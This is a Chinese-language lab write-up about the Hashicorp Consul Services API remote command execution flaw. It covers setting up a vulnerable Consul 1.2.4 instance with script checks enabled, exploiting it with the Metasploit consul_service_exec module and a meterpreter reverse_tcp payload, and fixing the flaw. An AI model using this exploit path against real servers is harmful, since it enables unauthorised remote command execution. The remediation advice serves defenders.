欢迎来到starnight_cyber的博客

Hashicorp Consul Service API远程命令执行漏洞

Preface

简介

Consul是HashiCorp公司推出的一款开源工具,用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案相比,Consul提供的方案更为“一站式”。Consul内置了服务注册与发现框架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案,不再需要依赖其他工具(例如ZooKeeper等),使用方式也相对简单。

Consul使用Go语言编写,因此具有天然的可移植性(支持Linux、Windows和Mac OS X系统);且安装包中仅包含一个可执行文件,便于部署,可与Docker等轻量级容器无缝配合。

在特定配置下,恶意攻击者可以通过发送精心构造的HTTP请求在未经授权的情况下在Consul服务端远程执行命令。

环境搭建

从 https://releases.hashicorp.com/consul/1.2.4/ 下载相应 Linux 版本,直接启动服务即可。

./consul agent -dev -client your-serv-ip -enable-script-checks

访问:http://your-serv-ip:8500/v1/agent/self

启用了 EnableRemoteScriptChecks: true 

漏洞验证

使用 MSF 进行测试,简要过程如下:

msf6 > search Hashicorp
 
Matching Modules
================
 
   #  Name                                    Disclosure Date  Rank       Check  Description
   -  ----                                    ---------------  ----       -----  -----------
   0  exploit/multi/misc/nomad_exec           2021-05-17       excellent  Yes    HashiCorp Nomad Remote Command Execution
   1  exploit/multi/misc/consul_rexec_exec    2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Rexec
   2  exploit/multi/misc/consul_service_exec  2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Services API
 
 
Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/misc/consul_service_exec
 
msf6 > use 2
[*] Using configured payload linux/x86/meterpreter/reverse_tcp

可以看到成功创建 meterpreter。

修复措施

  1. 禁用Consul服务器上的脚本检查功能
  2. 确保Consul HTTP API服务无法通过外网访问或调用
  3. 对/v1/agent/service/register 禁止PUT方法

参考

https://blog.csdn.net/qq_44159028/article/details/115870000

https://releases.hashicorp.com/consul/1.2.4/

https://blog.pentesteracademy.com/hashicorp-consul-remote-command-execution-via-services-api-d709f8ac3960

 

以上!

posted @ 2022-10-08 18:53  starnight_cyber  阅读(2440)  评论(0编辑  收藏  举报